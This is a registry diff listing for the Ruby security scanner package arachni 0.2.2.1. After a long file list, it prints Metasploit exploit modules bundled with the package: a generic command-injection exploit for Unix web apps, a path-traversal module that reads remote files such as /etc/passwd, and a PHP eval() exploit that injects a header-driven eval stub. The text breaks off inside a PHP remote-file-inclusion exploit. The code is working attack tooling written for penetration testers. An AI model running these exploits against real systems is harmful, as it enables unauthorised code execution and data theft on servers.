arachni 0.2.2.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (262) hide show
  1. data/ACKNOWLEDGMENTS.md +14 -0
  2. data/AUTHORS.md +6 -0
  3. data/CHANGELOG.md +162 -0
  4. data/CONTRIBUTORS.md +10 -0
  5. data/EXPLOITATION.md +429 -0
  6. data/HACKING.md +101 -0
  7. data/LICENSE.md +341 -0
  8. data/README.md +350 -0
  9. data/Rakefile +86 -0
  10. data/bin/arachni +22 -0
  11. data/bin/arachni_web +77 -0
  12. data/bin/arachni_xmlrpc +21 -0
  13. data/bin/arachni_xmlrpcd +82 -0
  14. data/bin/arachni_xmlrpcd_monitor +74 -0
  15. data/conf/README.webui.yaml.txt +44 -0
  16. data/conf/webui.yaml +11 -0
  17. data/external/metasploit/LICENSE +24 -0
  18. data/external/metasploit/modules/exploits/unix/webapp/arachni_exec.rb +142 -0
  19. data/external/metasploit/modules/exploits/unix/webapp/arachni_path_traversal.rb +113 -0
  20. data/external/metasploit/modules/exploits/unix/webapp/arachni_php_eval.rb +150 -0
  21. data/external/metasploit/modules/exploits/unix/webapp/arachni_php_include.rb +141 -0
  22. data/external/metasploit/modules/exploits/unix/webapp/arachni_sqlmap.rb +92 -0
  23. data/external/metasploit/plugins/arachni.rb +536 -0
  24. data/getoptslong.rb +241 -0
  25. data/lib/anemone.rb +2 -0
  26. data/lib/anemone/cookie_store.rb +35 -0
  27. data/lib/anemone/core.rb +371 -0
  28. data/lib/anemone/exceptions.rb +5 -0
  29. data/lib/anemone/http.rb +144 -0
  30. data/lib/anemone/page.rb +337 -0
  31. data/lib/anemone/page_store.rb +160 -0
  32. data/lib/anemone/storage.rb +34 -0
  33. data/lib/anemone/storage/base.rb +75 -0
  34. data/lib/anemone/storage/exceptions.rb +15 -0
  35. data/lib/anemone/storage/mongodb.rb +89 -0
  36. data/lib/anemone/storage/pstore.rb +50 -0
  37. data/lib/anemone/storage/redis.rb +90 -0
  38. data/lib/anemone/storage/tokyo_cabinet.rb +57 -0
  39. data/lib/anemone/tentacle.rb +40 -0
  40. data/lib/arachni.rb +16 -0
  41. data/lib/audit_store.rb +346 -0
  42. data/lib/component_manager.rb +293 -0
  43. data/lib/component_options.rb +395 -0
  44. data/lib/exceptions.rb +76 -0
  45. data/lib/framework.rb +637 -0
  46. data/lib/http.rb +809 -0
  47. data/lib/issue.rb +302 -0
  48. data/lib/module.rb +4 -0
  49. data/lib/module/auditor.rb +455 -0
  50. data/lib/module/base.rb +188 -0
  51. data/lib/module/element_db.rb +158 -0
  52. data/lib/module/key_filler.rb +87 -0
  53. data/lib/module/manager.rb +87 -0
  54. data/lib/module/output.rb +68 -0
  55. data/lib/module/trainer.rb +240 -0
  56. data/lib/module/utilities.rb +110 -0
  57. data/lib/options.rb +547 -0
  58. data/lib/parser.rb +2 -0
  59. data/lib/parser/auditable.rb +522 -0
  60. data/lib/parser/elements.rb +296 -0
  61. data/lib/parser/page.rb +149 -0
  62. data/lib/parser/parser.rb +717 -0
  63. data/lib/plugin.rb +4 -0
  64. data/lib/plugin/base.rb +110 -0
  65. data/lib/plugin/manager.rb +162 -0
  66. data/lib/report.rb +4 -0
  67. data/lib/report/base.rb +119 -0
  68. data/lib/report/manager.rb +92 -0
  69. data/lib/rpc/xml/client/base.rb +71 -0
  70. data/lib/rpc/xml/client/dispatcher.rb +49 -0
  71. data/lib/rpc/xml/client/instance.rb +88 -0
  72. data/lib/rpc/xml/server/base.rb +90 -0
  73. data/lib/rpc/xml/server/dispatcher.rb +357 -0
  74. data/lib/rpc/xml/server/framework.rb +206 -0
  75. data/lib/rpc/xml/server/instance.rb +191 -0
  76. data/lib/rpc/xml/server/module/manager.rb +46 -0
  77. data/lib/rpc/xml/server/options.rb +124 -0
  78. data/lib/rpc/xml/server/output.rb +299 -0
  79. data/lib/rpc/xml/server/plugin/manager.rb +58 -0
  80. data/lib/ruby.rb +5 -0
  81. data/lib/ruby/object.rb +32 -0
  82. data/lib/ruby/string.rb +74 -0
  83. data/lib/ruby/xmlrpc/server.rb +27 -0
  84. data/lib/spider.rb +200 -0
  85. data/lib/typhoeus/request.rb +91 -0
  86. data/lib/typhoeus/response.rb +34 -0
  87. data/lib/ui/cli/cli.rb +744 -0
  88. data/lib/ui/cli/output.rb +279 -0
  89. data/lib/ui/web/log.rb +82 -0
  90. data/lib/ui/web/output_stream.rb +94 -0
  91. data/lib/ui/web/report_manager.rb +222 -0
  92. data/lib/ui/web/server.rb +903 -0
  93. data/lib/ui/web/server/db/placeholder +0 -0
  94. data/lib/ui/web/server/public/banner.png +0 -0
  95. data/lib/ui/web/server/public/bodybg-small.png +0 -0
  96. data/lib/ui/web/server/public/bodybg.png +0 -0
  97. data/lib/ui/web/server/public/css/smoothness/images/pbar-ani.gif +0 -0
  98. data/lib/ui/web/server/public/css/smoothness/images/ui-bg_flat_0_aaaaaa_40x100.png +0 -0
  99. data/lib/ui/web/server/public/css/smoothness/images/ui-bg_flat_75_ffffff_40x100.png +0 -0
  100. data/lib/ui/web/server/public/css/smoothness/images/ui-bg_glass_55_fbf9ee_1x400.png +0 -0
  101. data/lib/ui/web/server/public/css/smoothness/images/ui-bg_glass_65_ffffff_1x400.png +0 -0
  102. data/lib/ui/web/server/public/css/smoothness/images/ui-bg_glass_75_dadada_1x400.png +0 -0
  103. data/lib/ui/web/server/public/css/smoothness/images/ui-bg_glass_75_e6e6e6_1x400.png +0 -0
  104. data/lib/ui/web/server/public/css/smoothness/images/ui-bg_glass_95_fef1ec_1x400.png +0 -0
  105. data/lib/ui/web/server/public/css/smoothness/images/ui-bg_highlight-soft_75_cccccc_1x100.png +0 -0
  106. data/lib/ui/web/server/public/css/smoothness/images/ui-icons_222222_256x240.png +0 -0
  107. data/lib/ui/web/server/public/css/smoothness/images/ui-icons_2e83ff_256x240.png +0 -0
  108. data/lib/ui/web/server/public/css/smoothness/images/ui-icons_454545_256x240.png +0 -0
  109. data/lib/ui/web/server/public/css/smoothness/images/ui-icons_888888_256x240.png +0 -0
  110. data/lib/ui/web/server/public/css/smoothness/images/ui-icons_cd0a0a_256x240.png +0 -0
  111. data/lib/ui/web/server/public/css/smoothness/jquery-ui-1.8.9.custom.css +573 -0
  112. data/lib/ui/web/server/public/favicon.ico +0 -0
  113. data/lib/ui/web/server/public/footer.jpg +0 -0
  114. data/lib/ui/web/server/public/icons/error.png +0 -0
  115. data/lib/ui/web/server/public/icons/info.png +0 -0
  116. data/lib/ui/web/server/public/icons/ok.png +0 -0
  117. data/lib/ui/web/server/public/icons/status.png +0 -0
  118. data/lib/ui/web/server/public/js/jquery-1.4.4.min.js +167 -0
  119. data/lib/ui/web/server/public/js/jquery-ui-1.8.9.custom.min.js +781 -0
  120. data/lib/ui/web/server/public/logo.png +0 -0
  121. data/lib/ui/web/server/public/nav-left.jpg +0 -0
  122. data/lib/ui/web/server/public/nav-right.jpg +0 -0
  123. data/lib/ui/web/server/public/nav-selected-left.jpg +0 -0
  124. data/lib/ui/web/server/public/nav-selected-right.jpg +0 -0
  125. data/lib/ui/web/server/public/reports/placeholder +1 -0
  126. data/lib/ui/web/server/public/sidebar-bottom.jpg +0 -0
  127. data/lib/ui/web/server/public/sidebar-h4.jpg +0 -0
  128. data/lib/ui/web/server/public/sidebar-top.jpg +0 -0
  129. data/lib/ui/web/server/public/spider.png +0 -0
  130. data/lib/ui/web/server/public/style.css +604 -0
  131. data/lib/ui/web/server/tmp/placeholder +0 -0
  132. data/lib/ui/web/server/views/dispatcher.erb +85 -0
  133. data/lib/ui/web/server/views/dispatcher_error.erb +14 -0
  134. data/lib/ui/web/server/views/error.erb +1 -0
  135. data/lib/ui/web/server/views/flash.erb +18 -0
  136. data/lib/ui/web/server/views/home.erb +14 -0
  137. data/lib/ui/web/server/views/instance.erb +213 -0
  138. data/lib/ui/web/server/views/layout.erb +95 -0
  139. data/lib/ui/web/server/views/log.erb +40 -0
  140. data/lib/ui/web/server/views/modules.erb +71 -0
  141. data/lib/ui/web/server/views/options.erb +23 -0
  142. data/lib/ui/web/server/views/output_results.erb +51 -0
  143. data/lib/ui/web/server/views/plugins.erb +42 -0
  144. data/lib/ui/web/server/views/report_formats.erb +30 -0
  145. data/lib/ui/web/server/views/reports.erb +55 -0
  146. data/lib/ui/web/server/views/settings.erb +120 -0
  147. data/lib/ui/web/server/views/welcome.erb +38 -0
  148. data/lib/ui/xmlrpc/dispatcher_monitor.rb +204 -0
  149. data/lib/ui/xmlrpc/xmlrpc.rb +843 -0
  150. data/logs/placeholder +0 -0
  151. data/metamodules/autothrottle.rb +74 -0
  152. data/metamodules/timeout_notice.rb +118 -0
  153. data/metamodules/uniformity.rb +98 -0
  154. data/modules/audit/code_injection.rb +136 -0
  155. data/modules/audit/code_injection_timing.rb +115 -0
  156. data/modules/audit/code_injection_timing/payloads.txt +4 -0
  157. data/modules/audit/csrf.rb +301 -0
  158. data/modules/audit/ldapi.rb +103 -0
  159. data/modules/audit/ldapi/errors.txt +26 -0
  160. data/modules/audit/os_cmd_injection.rb +103 -0
  161. data/modules/audit/os_cmd_injection/payloads.txt +2 -0
  162. data/modules/audit/os_cmd_injection_timing.rb +104 -0
  163. data/modules/audit/os_cmd_injection_timing/payloads.txt +3 -0
  164. data/modules/audit/path_traversal.rb +141 -0
  165. data/modules/audit/response_splitting.rb +105 -0
  166. data/modules/audit/rfi.rb +193 -0
  167. data/modules/audit/sqli.rb +120 -0
  168. data/modules/audit/sqli/regexp_ids.txt +90 -0
  169. data/modules/audit/sqli_blind_rdiff.rb +321 -0
  170. data/modules/audit/sqli_blind_timing.rb +103 -0
  171. data/modules/audit/sqli_blind_timing/payloads.txt +51 -0
  172. data/modules/audit/trainer.rb +89 -0
  173. data/modules/audit/unvalidated_redirect.rb +90 -0
  174. data/modules/audit/xpath.rb +104 -0
  175. data/modules/audit/xpath/errors.txt +26 -0
  176. data/modules/audit/xss.rb +99 -0
  177. data/modules/audit/xss_event.rb +134 -0
  178. data/modules/audit/xss_path.rb +125 -0
  179. data/modules/audit/xss_script_tag.rb +112 -0
  180. data/modules/audit/xss_tag.rb +112 -0
  181. data/modules/audit/xss_uri.rb +125 -0
  182. data/modules/recon/allowed_methods.rb +104 -0
  183. data/modules/recon/backdoors.rb +131 -0
  184. data/modules/recon/backdoors/filenames.txt +16 -0
  185. data/modules/recon/backup_files.rb +177 -0
  186. data/modules/recon/backup_files/extensions.txt +28 -0
  187. data/modules/recon/common_directories.rb +138 -0
  188. data/modules/recon/common_directories/directories.txt +265 -0
  189. data/modules/recon/common_files.rb +138 -0
  190. data/modules/recon/common_files/filenames.txt +17 -0
  191. data/modules/recon/directory_listing.rb +171 -0
  192. data/modules/recon/grep/captcha.rb +62 -0
  193. data/modules/recon/grep/credit_card.rb +85 -0
  194. data/modules/recon/grep/cvs_svn_users.rb +73 -0
  195. data/modules/recon/grep/emails.rb +59 -0
  196. data/modules/recon/grep/html_objects.rb +53 -0
  197. data/modules/recon/grep/private_ip.rb +54 -0
  198. data/modules/recon/grep/ssn.rb +53 -0
  199. data/modules/recon/htaccess_limit.rb +82 -0
  200. data/modules/recon/http_put.rb +95 -0
  201. data/modules/recon/interesting_responses.rb +118 -0
  202. data/modules/recon/unencrypted_password_forms.rb +119 -0
  203. data/modules/recon/webdav.rb +126 -0
  204. data/modules/recon/xst.rb +107 -0
  205. data/path_extractors/anchors.rb +35 -0
  206. data/path_extractors/forms.rb +35 -0
  207. data/path_extractors/frames.rb +38 -0
  208. data/path_extractors/generic.rb +39 -0
  209. data/path_extractors/links.rb +35 -0
  210. data/path_extractors/meta_refresh.rb +39 -0
  211. data/path_extractors/scripts.rb +37 -0
  212. data/path_extractors/sitemap.rb +31 -0
  213. data/plugins/autologin.rb +137 -0
  214. data/plugins/content_types.rb +90 -0
  215. data/plugins/cookie_collector.rb +99 -0
  216. data/plugins/form_dicattack.rb +185 -0
  217. data/plugins/healthmap.rb +94 -0
  218. data/plugins/http_dicattack.rb +133 -0
  219. data/plugins/metamodules.rb +118 -0
  220. data/plugins/proxy.rb +248 -0
  221. data/plugins/proxy/server.rb +66 -0
  222. data/plugins/waf_detector.rb +184 -0
  223. data/profiles/comprehensive.afp +74 -0
  224. data/profiles/full.afp +75 -0
  225. data/reports/afr.rb +59 -0
  226. data/reports/ap.rb +55 -0
  227. data/reports/html.rb +179 -0
  228. data/reports/html/default.erb +967 -0
  229. data/reports/metareport.rb +139 -0
  230. data/reports/metareport/arachni_metareport.rb +174 -0
  231. data/reports/plugin_formatters/html/content_types.rb +82 -0
  232. data/reports/plugin_formatters/html/cookie_collector.rb +66 -0
  233. data/reports/plugin_formatters/html/form_dicattack.rb +54 -0
  234. data/reports/plugin_formatters/html/healthmap.rb +76 -0
  235. data/reports/plugin_formatters/html/http_dicattack.rb +54 -0
  236. data/reports/plugin_formatters/html/metaformatters/timeout_notice.rb +65 -0
  237. data/reports/plugin_formatters/html/metaformatters/uniformity.rb +71 -0
  238. data/reports/plugin_formatters/html/metamodules.rb +93 -0
  239. data/reports/plugin_formatters/html/waf_detector.rb +54 -0
  240. data/reports/plugin_formatters/stdout/content_types.rb +73 -0
  241. data/reports/plugin_formatters/stdout/cookie_collector.rb +61 -0
  242. data/reports/plugin_formatters/stdout/form_dicattack.rb +52 -0
  243. data/reports/plugin_formatters/stdout/healthmap.rb +72 -0
  244. data/reports/plugin_formatters/stdout/http_dicattack.rb +53 -0
  245. data/reports/plugin_formatters/stdout/metaformatters/timeout_notice.rb +55 -0
  246. data/reports/plugin_formatters/stdout/metaformatters/uniformity.rb +68 -0
  247. data/reports/plugin_formatters/stdout/metamodules.rb +89 -0
  248. data/reports/plugin_formatters/stdout/waf_detector.rb +48 -0
  249. data/reports/plugin_formatters/xml/content_types.rb +91 -0
  250. data/reports/plugin_formatters/xml/cookie_collector.rb +70 -0
  251. data/reports/plugin_formatters/xml/form_dicattack.rb +57 -0
  252. data/reports/plugin_formatters/xml/healthmap.rb +82 -0
  253. data/reports/plugin_formatters/xml/http_dicattack.rb +57 -0
  254. data/reports/plugin_formatters/xml/metaformatters/timeout_notice.rb +67 -0
  255. data/reports/plugin_formatters/xml/metaformatters/uniformity.rb +82 -0
  256. data/reports/plugin_formatters/xml/metamodules.rb +91 -0
  257. data/reports/plugin_formatters/xml/waf_detector.rb +58 -0
  258. data/reports/stdout.rb +182 -0
  259. data/reports/txt.rb +77 -0
  260. data/reports/xml.rb +231 -0
  261. data/reports/xml/buffer.rb +98 -0
  262. metadata +516 -0
@@ -0,0 +1,142 @@
1
+ require 'msf/core'
2
+
3
+ class Metasploit3 < Msf::Exploit::Remote
4
+ Rank = ExcellentRanking
5
+
6
+ include Msf::Exploit::Remote::Tcp
7
+ include Msf::Exploit::Remote::HttpClient
8
+
9
+ def initialize( info = {} )
10
+ super( update_info( info,
11
+ 'Name' => 'Generic WebApp Unix Command Execution Exploit',
12
+ 'Description' => %q{
13
+ This module allows complex HTTP requests to be crafted in order to
14
+ allow exploitation of command injection vulnerabilities in Unix-like platforms.
15
+
16
+ Use 'XXinjectionXX' to mark the value of the vulnerable variable/field,
17
+ i.e. where the payload should go.
18
+
19
+ Supported vectors: GET, POST, COOKIE, HEADER.
20
+ (Mainly for use with the Arachni plug-in.)
21
+ },
22
+ 'Author' => [
23
+ 'Tasos "Zapotek" Laskos <tasos.laskos@gmail.com>', # extended it to work with GET/POST/COOKIE/HEADER
24
+ 'hdm' # original exploit: exploits/unix/webapp/generic_exec.rb
25
+ ],
26
+ 'License' => MSF_LICENSE,
27
+ 'Version' => '$Revision: 10642 $',
28
+ 'References' =>
29
+ [
30
+ ['URL', 'http://github.com/Zapotek/arachni'],
31
+ ],
32
+ 'Privileged' => false,
33
+ 'Payload' =>
34
+ {
35
+ 'DisableNops' => true,
36
+ 'Space' => 1024,
37
+ 'Compat' =>
38
+ {
39
+ 'PayloadType' => 'cmd',
40
+ 'RequiredCmd' => 'generic perl telnet netcat-e bash',
41
+ }
42
+ },
43
+ 'Platform' => 'unix',
44
+ 'Arch' => ARCH_CMD,
45
+ 'Targets' => [[ 'Automatic', { }]],
46
+ 'DefaultTarget' => 0 ) )
47
+
48
+ register_options( [
49
+ OptString.new( 'GET', [ false, "GET parameters. ('foo=bar&vuln=XXinjectionXX', XXinjectionXX will be substituted with the payload.)", "" ] ),
50
+ OptString.new( 'POST', [ false, "POST parameters. ('foo=bar&vuln=XXinjectionXX', XXinjectionXX will be substituted with the payload.)", "" ] ),
51
+ OptString.new( 'COOKIES', [ false, "Cookies to be sent with the request. ('foo=bar;vuln=XXinjectionXX', XXinjectionXX will be substituted with the payload.)", "" ] ),
52
+ OptString.new( 'HEADERS', [ false, "Headers to be sent with the request. ('User-Agent=bar::vuln=XXinjectionXX', XXinjectionXX will be substituted with the payload.)", "" ] ),
53
+ OptString.new( 'PATH', [ true, "The path to the vulnerable script.", "/cgi-bin/generic" ] ),
54
+ ], self.class )
55
+ end
56
+
57
+ def check
58
+ uri = datastore['PATH'] ? datastore['PATH'].dup : ""
59
+
60
+ if( uri && ! uri.empty? )
61
+
62
+ uri.gsub!( /\?.*/, "" )
63
+
64
+ print_status( "Checking uri #{uri}" )
65
+
66
+ response = send_request_raw({ 'uri' => uri})
67
+ if response.code == 200
68
+ return Exploit::CheckCode::Detected
69
+ end
70
+
71
+ print_error( "Server responded with #{response.code}" )
72
+ return Exploit::CheckCode::Safe
73
+ else
74
+ return Exploit::CheckCode::Unknown
75
+ end
76
+
77
+ end
78
+
79
+
80
+ def exploit
81
+
82
+ cookies = _sub_injection( datastore['COOKIES'].to_s, ';' )
83
+ headers = _str_to_hash( _sub_injection( datastore['HEADERS'].to_s, '::' ), ':;' )
84
+ post = _str_to_hash( _sub_injection( datastore['POST'].to_s ) )
85
+ get = _str_to_hash( _sub_injection( datastore['GET'].to_s ) )
86
+ uri = datastore['PATH'].to_s
87
+ method = post.empty? ? 'GET' : 'POST'
88
+
89
+ if( post.empty? && get.empty? && headers.empty? && cookies.empty? )
90
+ print_error( 'At least one of GET/POST/COOKIES/HEADERS must be set.' )
91
+ return
92
+ end
93
+
94
+ print_status( "Sending HTTP request for #{uri}" )
95
+ res = send_request_cgi( {
96
+ 'global' => true,
97
+ 'uri' => uri,
98
+ 'method' => method,
99
+ 'vars_get' => get,
100
+ 'vars_post' => post,
101
+ 'headers' => headers,
102
+ 'cookie' => cookies
103
+ }, 0.01 )
104
+
105
+ handler
106
+ end
107
+
108
+ #
109
+ # Converts a URI styled query string into a key=>value hash
110
+ #
111
+ def _str_to_hash( str, sep = '&' )
112
+ hash = {}
113
+ str.split( sep ).map do |part|
114
+ splits = part.split( '=', 2 )
115
+ next if !splits[0] || !splits[1]
116
+ hash[splits[0]] = splits[1]
117
+ end
118
+
119
+ return hash
120
+ end
121
+
122
+ #
123
+ # Substitutes 'XXinjectionXX' in values of a URI styled query string with the
124
+ # payload
125
+ #
126
+ def _sub_injection( str, sep = '&' )
127
+
128
+ return str.to_s.split( sep ).map do |var|
129
+ k,v = var.split( '=', 2 )
130
+ next if !v || !k
131
+
132
+ if sep == '&'
133
+ pl = payload.encoded
134
+ else
135
+ pl = URI.encode( payload.encoded, ';\'=$_(),-:~. ' )
136
+ end
137
+
138
+ k + "=" + v.gsub( 'XXinjectionXX', pl )
139
+ end.reject do |i| !i end.join( sep )
140
+ end
141
+
142
+ end
@@ -0,0 +1,113 @@
1
+ require 'msf/core'
2
+
3
+ class Metasploit3 < Msf::Auxiliary
4
+
5
+ include Msf::Exploit::Remote::HttpClient
6
+
7
+ def initialize(info = {})
8
+ super(update_info(info,
9
+ 'Name' => 'Arachni Path Traversal Module',
10
+ 'Description' => %q{
11
+ It exploits path traversal vulnerabilities in order to read the contents of a remote file.
12
+ It will also try to clean-up any HMTL code that does not belong to the file.
13
+
14
+ This module is designed to be used with the Arachni plug-in.
15
+ },
16
+ 'Author' => [
17
+ 'Tasos "Zapotek" Laskos <tasos.laskos@gmail.com>',
18
+ ],
19
+ 'License' => BSD_LICENSE,
20
+ 'Version' => '$Revision: 9212 $',
21
+ 'References' =>
22
+ [
23
+ ['URL', 'http://github.com/Zapotek/arachni']
24
+ ]
25
+ ))
26
+
27
+ register_options( [
28
+ OptString.new( 'GET', [ false, "GET parameters. ('foo=bar&vuln=XXinjectionXX', XXinjectionXX will be substituted with the payload.)", "" ] ),
29
+ OptString.new( 'POST', [ false, "POST parameters. ('foo=bar&vuln=XXinjectionXX', XXinjectionXX will be substituted with the payload.)", "" ] ),
30
+ OptString.new( 'COOKIES', [ false, "Cookies to be sent with the request. ('foo=bar;vuln=XXinjectionXX', XXinjectionXX will be substituted with the payload.)", "" ] ),
31
+ OptString.new( 'HEADERS', [ false, "Headers to be sent with the request. ('User-Agent=bar::vuln=XXinjectionXX', XXinjectionXX will be substituted with the payload.)", "" ] ),
32
+ OptString.new( 'PATH', [ true, "The path to the vulnerable script.", "/cgi-bin/generic" ] ),
33
+ OptString.new( 'FILE', [ true, "The file to grab.", "/etc/passwd" ] ),
34
+ ], self.class )
35
+ end
36
+
37
+ def run
38
+ #
39
+ # There must be a better way to get the diff but this is good enough for now
40
+ #
41
+ begin
42
+ file_orig = datastore['FILE'].dup
43
+ splits_file = get_file.split( /\w*$/ )
44
+
45
+ datastore['FILE'] = '/'
46
+
47
+ splits_empty = get_file.split( /\w*$/ )
48
+
49
+ print_line (splits_file - splits_empty).join
50
+ ensure
51
+ datastore['FILE'] = file_orig.dup
52
+ end
53
+
54
+ end
55
+
56
+ def get_file
57
+ cookies = _sub_injection( datastore['COOKIES'].to_s, ';' )
58
+ headers = _str_to_hash( _sub_injection( datastore['HEADERS'].to_s, '::' ), '::' )
59
+ post = _str_to_hash( _sub_injection( datastore['POST'].to_s ) )
60
+ get = _str_to_hash( _sub_injection( datastore['GET'].to_s ) )
61
+ uri = datastore['PATH'].to_s
62
+ method = post.empty? ? 'GET' : 'POST'
63
+
64
+ if( post.empty? && get.empty? && headers.empty? && cookies.empty? )
65
+ print_error( 'At least one of GET/POST/COOKIES/HEADERS must be set.' )
66
+ return
67
+ end
68
+
69
+ print_status( "Sending HTTP request for #{uri}" )
70
+ res = send_request_cgi( {
71
+ 'global' => true,
72
+ 'uri' => uri,
73
+ 'method' => method,
74
+ 'vars_get' => get,
75
+ 'vars_post' => post,
76
+ 'headers' => headers,
77
+ 'cookie' => cookies
78
+ }, 0.01 )
79
+
80
+ return res.body
81
+ end
82
+
83
+ #
84
+ # Converts a URI styled query string into a key=>value hash
85
+ #
86
+ def _str_to_hash( str, sep = '&' )
87
+ hash = {}
88
+ str.split( sep ).map do |part|
89
+ splits = part.split( '=', 2 )
90
+ next if !splits[0] || !splits[1]
91
+ hash[splits[0]] = splits[1]
92
+ end
93
+
94
+ return hash
95
+ end
96
+
97
+ #
98
+ # Substitutes 'XXinjectionXX' in values of a URI styled query string with the
99
+ # payload
100
+ #
101
+ def _sub_injection( str, sep = '&' )
102
+
103
+ return str.to_s.split( sep ).map do |var|
104
+ k,v = var.split( '=', 2 )
105
+ next if !v || !k
106
+
107
+ k + "=" + v.gsub( 'XXinjectionXX', datastore['FILE'].to_s )
108
+ end.reject do |i| !i end.join( sep )
109
+ end
110
+
111
+
112
+ end
113
+
@@ -0,0 +1,150 @@
1
+ require 'msf/core'
2
+
3
+ class Metasploit3 < Msf::Exploit::Remote
4
+ Rank = ExcellentRanking
5
+
6
+ include Msf::Exploit::Remote::HttpClient
7
+
8
+ def initialize(info = {})
9
+ super(update_info(info,
10
+ 'Name' => 'Generic PHP Code eval() Exploit',
11
+ 'Description' => %q{
12
+ This module allows complex HTTP requests to be crafted in order to
13
+ allow exploitation of PHP eval() vulnerabilities in Unix-like platforms.
14
+
15
+ Use 'XXinjectionXX' to mark the value of the vulnerable variable/field,
16
+ i.e. where the payload should go.
17
+
18
+ Supported vectors: GET, POST, COOKIE, HEADER.
19
+ (Mainly for use with the Arachni plug-in.)
20
+ },
21
+ 'Author' => [
22
+ 'Tasos "Zapotek" Laskos <tasos.laskos@gmail.com>', # extended it to work with GET/POST/COOKIE/HEADER
23
+ 'egypt' # original exploit: exploits/unix/webapp/php_eval.rb
24
+ ],
25
+ 'License' => BSD_LICENSE,
26
+ 'Version' => '$Revision: 9392 $',
27
+ 'References' =>
28
+ [
29
+ ['URL', 'http://github.com/Zapotek/arachni'],
30
+ ],
31
+ 'Privileged' => false,
32
+ 'Platform' => ['php'],
33
+ 'Arch' => ARCH_PHP,
34
+ 'Payload' =>
35
+ {
36
+ # max header length for Apache,
37
+ # http://httpd.apache.org/docs/2.2/mod/core.html#limitrequestfieldsize
38
+ 'Space' => 8190,
39
+ # max url length for some old versions of apache according to
40
+ # http://www.boutell.com/newfaq/misc/urllength.html
41
+ #'Space' => 4000,
42
+ 'DisableNops' => true,
43
+ 'BadChars' => %q|'"`|, # quotes are escaped by PHP's magic_quotes_gpc in a default install
44
+ 'Compat' =>
45
+ {
46
+ 'ConnectionType' => 'find',
47
+ },
48
+ 'Keys' => ['php'],
49
+ },
50
+ 'Targets' => [ ['Automatic', { }], ],
51
+ 'DefaultTarget' => 0
52
+ ))
53
+
54
+ register_options( [
55
+ OptString.new( 'GET', [ false, "GET parameters. ('foo=bar&vuln=XXinjectionXX', XXinjectionXX will be substituted with the payload.)", "" ] ),
56
+ OptString.new( 'POST', [ false, "POST parameters. ('foo=bar&vuln=XXinjectionXX', XXinjectionXX will be substituted with the payload.)", "" ] ),
57
+ OptString.new( 'COOKIES', [ false, "Cookies to be sent with the request. ('foo=bar;vuln=XXinjectionXX', XXinjectionXX will be substituted with the payload.)", "" ] ),
58
+ OptString.new( 'HEADERS', [ false, "Headers to be sent with the request. ('User-Agent=bar::vuln=XXinjectionXX', XXinjectionXX will be substituted with the payload.)", "" ] ),
59
+ OptString.new( 'PATH', [ true, "The path to the vulnerable script.", "/cgi-bin/generic" ] ),
60
+ ], self.class )
61
+
62
+ end
63
+
64
+ def check
65
+ uri = datastore['PATH'] ? datastore['PATH'].dup : ""
66
+
67
+ if( uri && ! uri.empty? )
68
+
69
+ uri.gsub!( /\?.*/, "" )
70
+
71
+ print_status( "Checking uri #{uri}" )
72
+
73
+ response = send_request_raw({ 'uri' => uri})
74
+ if response.code == 200
75
+ return Exploit::CheckCode::Detected
76
+ end
77
+
78
+ print_error( "Server responded with #{response.code}" )
79
+ return Exploit::CheckCode::Safe
80
+ else
81
+ return Exploit::CheckCode::Unknown
82
+ end
83
+
84
+ end
85
+
86
+ def exploit
87
+
88
+ headername = "X-" + Rex::Text.rand_text_alpha_upper( rand( 10 ) + 10 )
89
+
90
+ cookies = _sub_injection( datastore['COOKIES'].to_s, headername, ';' )
91
+ headers = _str_to_hash( _sub_injection( datastore['HEADERS'].to_s, headername, '::' ), '::' )
92
+ post = _str_to_hash( _sub_injection( datastore['POST'].to_s, headername ) )
93
+ get = _str_to_hash( _sub_injection( datastore['GET'].to_s, headername ) )
94
+ uri = datastore['PATH'].to_s
95
+ method = post.empty? ? 'GET' : 'POST'
96
+
97
+ if( post.empty? && get.empty? && headers.empty? && cookies.empty? )
98
+ print_error( 'At least one of GET/POST/COOKIES/HEADERS must be set.' )
99
+ # return
100
+ end
101
+
102
+ headers[headername] = payload.encoded
103
+ headers['Connection'] = 'close'
104
+
105
+ print_status( "Sending HTTP request for #{uri}" )
106
+ res = send_request_cgi( {
107
+ 'global' => true,
108
+ 'uri' => uri,
109
+ 'method' => method,
110
+ 'vars_get' => get,
111
+ 'vars_post' => post,
112
+ 'headers' => headers,
113
+ 'cookie' => cookies
114
+ }, 0.01 )
115
+
116
+ handler
117
+ end
118
+
119
+ #
120
+ # Converts a URI styled query string into a key=>value hash
121
+ #
122
+ def _str_to_hash( str, sep = '&' )
123
+ hash = {}
124
+ str.split( sep ).map do |part|
125
+ splits = part.split( '=', 2 )
126
+ next if !splits[0] || !splits[1]
127
+ hash[splits[0]] = splits[1]
128
+ end
129
+
130
+ return hash
131
+ end
132
+
133
+ #
134
+ # Substitutes 'XXinjectionXX' in values of a URI styled query string with the
135
+ # payload
136
+ #
137
+ def _sub_injection( str, headername, sep = '&' )
138
+
139
+ stub = "eval($_SERVER[HTTP_#{headername.gsub("-", "_")}]);"
140
+
141
+ stub = URI.encode( stub, ';' ) if sep != '&'
142
+
143
+ return str.to_s.split( sep ).map do |var|
144
+ k,v = var.split( '=', 2 )
145
+ next if !v || !k
146
+ k + "=" + v.gsub( 'XXinjectionXX', stub )
147
+ end.reject do |i| !i end.join( sep )
148
+ end
149
+
150
+ end
@@ -0,0 +1,141 @@
1
+ require 'msf/core'
2
+
3
+ class Metasploit3 < Msf::Exploit::Remote
4
+ Rank = ExcellentRanking
5
+
6
+ include Msf::Exploit::Remote::Tcp
7
+ include Msf::Exploit::Remote::HttpClient
8
+ include Msf::Exploit::Remote::HttpServer::PHPInclude
9
+
10
+ def initialize( info = {} )
11
+ super( update_info( info,
12
+ 'Name' => 'Arachni Generic PHP Remote File Inclusion Exploit',
13
+ 'Description' => %q{
14
+ This module allows complex HTTP requests to be crafted in order to
15
+ allow exploitation of PHP remote file inclusion vulnerabilities.
16
+
17
+ Use 'XXinjectionXX' to mark the value of the vulnerable variable/field,
18
+ i.e. where the payload should go.
19
+
20
+ Supported vectors: GET, POST, COOKIE, HEADER.
21
+ (Mainly for use with the Arachni plug-in.)
22
+ },
23
+ 'Author' => [
24
+ 'Tasos "Zapotek" Laskos <tasos.laskos@gmail.com>', # extended it to work with GET/POST/COOKIE/HEADER
25
+ 'hdm', # original exploit: exploits/unix/webapp/php_include.rb
26
+ 'egypt' # original exploit: exploits/unix/webapp/php_include.rb
27
+ ],
28
